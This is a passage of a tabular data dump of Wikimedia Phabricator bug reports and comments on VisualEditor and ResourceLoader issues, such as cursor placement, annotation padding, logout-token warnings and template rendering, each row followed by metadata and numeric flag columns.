+The main thing blocking this is debug mode. We need to refactor debug mode to not load raw files (bug 62605). Instead it should merely keep them deminified. Ideally with support for source maps (bug 45514).",,,1404778084,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,53,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+225674,ResourceLoader: Remove obsolete closures from files,"
+-- startup:
+register(
+ ..,
+ [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
+);
+
+-- mw.loader:
+ script( $, global[propKeys..].. );
+
+-- load.php response when loading visualeditor:
+mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
+ -- include ve.js
+ -- include ve.A.js
+ -- include ve.B.js
+ -- include ve.C.js
+} );",,,1404777088,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1
+225665,ResourceLoader: Remove obsolete closures from files,"Also:
+
+
+modules['bar'] = {
+  scripts: ['bar.a.js', 'bar.b.js'],
+  globals: {
+    ba: Bar
+  }
+};
+
+mw.loader.implement( 'foo', function ( $, mw, ba ) {
+  --- bar.a.js
+    ...
+
+  --- bar.b.js
+  ...
+} );",,,1369733723,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+50787,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Go to some long article (so long that it won't fit on one screen in your browser), start the visual editor, scroll down, then use up-arrow to walk all the way back up to the top of the article. It's not possible: the first lines of the article remain obscured by the visual editor's menu bar; the only way to make them visible is using the scroll bar or with PageUp.
+
+
+This is Windows 7, Firefox 16.0.2, Chrome 26.0.1410.64 m, Mediawiki 1.22wmf4 (646544a), VisualEditor 0.1.0
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1369410540,1680797345.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-tuy2dac6pfhknbtqmqgh,False,PHID-TASK-4bokg6oohi7iw7rzhciv,task_description,declined,True,c1,1,False,False,False,-6,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+2102206,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","IE9, Firefox 16.0.2, Chrome 26.0.1410.64 not supported anymore.",,,1680797355,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,509,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+2102205,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","IE9, Firefox 16.0.2, Chrome 26.0.1410.64 now supported anymore.",,,1680797345,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,509,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+219382,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",Apparently IE is affected too (see bug 63778).,,,1404175752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+219376,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Go to some long article, scroll all the way down, click to make the blinking cursor visible. Now press and hold the cursor-up key to go all the way back to the top. Upon release of the cursor-up key, the cursor will be invisibly placed behind the toolbar. Another press/release of the cursor-up key is necessary to make it visible again.",,,1394913857,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,36,,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+219370,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",I believe that this was fixed some time ago as part of the toolbar fixes - please re-open if not.,,,1386037710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,22,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+219363,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","I am now seeing the following behavior on mediawiki.org, using both Firefox and Chrome:
+
+Editing a long article with the VisualEditor, scrolling down, and then pressing and holding CursorUp will scroll back to the top, but not quite: the very first line of the article remains obscured by the toolbar. I have to release and repress CursorUp to see that line.",,,1373636974,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+219356,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",This is now merged and will go out later today.,,,1373491493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+219350,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Change 73015 merged by jenkins-bot:
+Bind listener to keyup to capture arrows & better math for scrolling.
+
+https://gerrit.wikimedia.org/r/73015",,,1373491380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+219342,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Change 73015 had a related patch set uploaded by Robmoen:
+Bind listener to keyup to capture arrows & better math for scrolling.
+
+https://gerrit.wikimedia.org/r/73015",,,1373484943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0
+219337,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","(In reply to comment #0)
+> Go to some long article (so long that it won't fit on one screen in your
+> browser), start the visual editor, scroll down, then use up-arrow to walk all
+> the way back up to the top of the article. It's not possible: the first lines
+> of the article remain obscured by the visual editor's menu bar; the only way
+> to make them visible is using the scroll bar or with PageUp.
+
+I can't reproduce this as written (for wmf6 or wmf7 on Mac or Linux, don't have Windows to test on). We did change the behaviour of the toolbar a little in wmf5, which may explain.
+
+However, it /is/ possible using the cursor keys to put the cursor underneath the toolbar when scrolled down so that the user can't see where it is. Will change this bug to reflect that, but feel free to revert if you can reproduce.",,,1371167210,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+50680,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Steps to reproduce bug:
+
+* Edit a page and add the following content: `Hello ""<code>world</code>"".`
+* Place cursor before the first quote, then use the arrow keys to move right (after the quote, before W for world).
+* Insert a character.
+
+Expected:
+
+The place where the character appears, and the position of the blinking cursor should be the same. In actually, this is not the case.
+
+The cursor is blinking **inside** the code annotation (close to the W, within the padded area of the code block).
+
+The added character appeared **outside** the code annotation (close to the quote, outside the padded area of the code block).
+
+Screenshot of problem (from May 2013):
+{F10475}
+
+Video capture (July 2018):
+{F23391729}",Low,25.0,1369144560,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-4iulhoim62acub7cms4q,task_description,open,True,c1,1,True,False,,-6,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+1099409,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).
+
+However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to the code annotation?",,,1530906618,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,3,True,,,261,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+1099408,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"Back in 2013, a similar issue exited with links and their labels. Both issues were cause due to a limitation that exists in browsers by default (there is only 1 logical position, and where it happens to be is browser-dependent).
+
+However, the link annotation issue has since been fixed by the introduction of virtual positions within the VisualEditor surface to decide whether the user is inside or outside a node. Perhaps the same could be applied to other annotations?",,,1530906360,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,3,True,,,261,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+213069,VisualEditor: Cursor position does not match point of insertion (when inline annotation has padding),"**orbit** wrote:
+
+Yeah, this is reproducible. No adjustment to margin or padding of the alien (the code element) is able to fix this issue though. We're using native browser selection rendering, and this is a side-effect.
+
+One possible future fix would be to allow the cursor to be placed at the first and last offset of protected nodes (contenteditable would have to be set to true) to give the desired cursor rendering. Any keypress would have to first fixup the selection.
+
+I think this is likely a minor occurrence and making such a dramatic change to protectedNodes is out-of-scope for now.",,,1369267184,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4iulhoim62acub7cms4q,task_subcomment,,True,c1,1,False,,,-6,,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+50656,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,"When ever the user does a load, save, diff (, other?) action with the server, we should check for whether the new edit token is an anonymous one when we're expecting the user to be logged in, so we can warn the user that they're now logged out (to prevent them asking for their IP to be over-sighted, etc.).
+
+There's potentially utility in doing this in core (for the wikitext editor) as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1369077780,1692047069.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-owjlus7kvzpryeunybdk,task_description,resolved,True,c1,1,True,False,False,-6,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+2175191,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,"This feature has been implemented soon after this task was filed, in July 2013, in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/73446, and still exists today with minor changes.
+
+{F37480899}
+
+(I found this task because we're revisiting the messages for IP Masking: T343848.)",,,1692047069,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-owjlus7kvzpryeunybdk,task_subcomment,,True,c1,3,True,,,528,,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+211724,VisualEditor: Check for and warn user on unexpected badtoken event says they're now logged out,Bug 48657 is the request for the same functionality in core's wikitext editor.,,,1369078265,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-owjlus7kvzpryeunybdk,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50555,"VisualEditor: Category sort key setting not done on click out, only on return","In the Category inspector, start setting an over-ride for a category's sort key, but instead of pressing return, click out; no sort key is set. If you change and click ""apply"", it seems like it should apply but doesn't, confusingly.
+
+Thoughts?
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1368745320,1370985982.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lunpphbvjkp5qsin6ywz,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+230688,"VisualEditor: Category sort key setting not done on click out, only on return",Now merged.,,,1370985956,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lunpphbvjkp5qsin6ywz,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+230682,"VisualEditor: Category sort key setting not done on click out, only on return",Related URL: https://gerrit.wikimedia.org/r/67920 (Gerrit Change I256d2b21bc2306959f6d6a0373386054b21dadfe),,,1370904596,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lunpphbvjkp5qsin6ywz,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50487,VisualEditor: Auto-selection covers adjacent text over punctuation,"This seems weird to me, but it still might be intentional.
+
+If you put the caret immediately after a sentence ending in a period (e.g. the last sentence of the lede from https://en.wikipedia.org/w/index.php?title=Kono_Statement_of_1993&oldid=546398254&veaction=edit), then click the Link button, it tries to link the last word, including the punctuation.
+
+I would expect it to let you create an new link, without assuming any existing anchor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1368583260,1368978683.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-3tivkrvvx7tiwvalguwy,task_description,resolved,True,c1,1,True,False,True,-7,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+226291,VisualEditor: Auto-selection covers adjacent text over punctuation,Merged in master; will go out as part of wmf5.,,,1368978683,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+226284,VisualEditor: Auto-selection covers adjacent text over punctuation,Related URL: https://gerrit.wikimedia.org/r/64481 (Gerrit Change I2408229cddd876ff8fe55a9eddf9bac87a61457e),,,1368888486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+226278,VisualEditor: Auto-selection covers adjacent text over punctuation,"Bug.
+
+Because null (the value we get for the end of the sentence) is silently converted to the string 'null' by RegExp#test (!?) and so we think it's an 'ALetter' which triggers the ALetter-MidNumLet-ALetter rule for mid-word punctuation, and so no break is returned.",,,1368888212,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+226275,VisualEditor: Auto-selection covers adjacent text over punctuation,"This is indeed intentional (and took some time to get right). If the cursor is in, or directly adjacent to, a word, so that you can link a word quickly as a keyboard user without having to use a mouse or do keyboard-based shift-selection.
+
+However, this is meant to not trigger when you're not in the ""context"" of a word, so it does some fancy language-dependent Unicode whitespace detection; it should be doing this for punctuation but apparently isn't, so referring to Ed to investigate.",,,1368727707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3tivkrvvx7tiwvalguwy,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+50461,VisualEditor: Image in template gets cut off,"When editing http://de.wikipedia.org/wiki/Wikidata the top of the Wikimedia logo in the template at the bottom of the page is cut off. (It might also be hidden behind the grey bar or something.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1368550980,1701795362.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-qglalluk4kbrg2flbvzv,task_description,resolved,True,c1,1,True,False,False,-7,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+2241865,VisualEditor: Image in template gets cut off,"Not happening for me in Chrome or FF. Assuming this was a browser bug that has since been fixed, but please re-open if it is still happening.",,,1701795362,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,3,True,,,544,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+224867,VisualEditor: Image in template gets cut off,"This happens in any article that uses the following template with an image, which is lots and lots and lots
+https://de.wikipedia.org/wiki/Vorlage:Navigationsleiste
+
+https://de.wikipedia.org/wiki/Bezirk_Altona?veaction=edit
+
+And the German template appears on many other languages as well.
+https://bar.wikipedia.org/wiki/Wikibooks?veaction=edit",,,1374479589,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+224861,VisualEditor: Image in template gets cut off,"We aim to render templates as similarly as possible, but there are some exceptions at this time. One such exception is that protected elements and their child elements positioned as 'absolute' or 'fixed' will be changed to relative. Protected elements are usually non-text or generated elements like images or templates.
+
+Specifically in this case the CSS rule for elements that match '.ve-ce-alienNode, .ve-ce-alienNode *' is being used to set all elements relative. In a more recent version of the code this rule is now renamed to '.ve-ce-protectedNode, .ve-ce-protectedNode *' but it's effect is the same.
+
+We should probably be only applying relative positioning to elements that are actually positioned 'absolute' or 'fixed', because it's currently being applied to an element that's positioned 'static'.",,,1368729636,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+224853,VisualEditor: Image in template gets cut off,"Created attachment 12328
+screenshot of the issue in chromium in kubuntu
+
+**Attached**: {F10816}",,,1368728163,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+224844,VisualEditor: Image in template gets cut off,I cannot reproduce this using either Firefox or Chrome - which browser(s) does this appear in? Do you have a screenshot I could see? Does it still appear?,,,1368727833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qglalluk4kbrg2flbvzv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+50429,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"It should be possible to edit a part of a MediaWiki page such as a section or paragraph via VisualEditor without loading the entire article into the editor. This would be especially useful on mobile devices. This ticket is designated to serve as the parent task for all work related to such a goal.
+
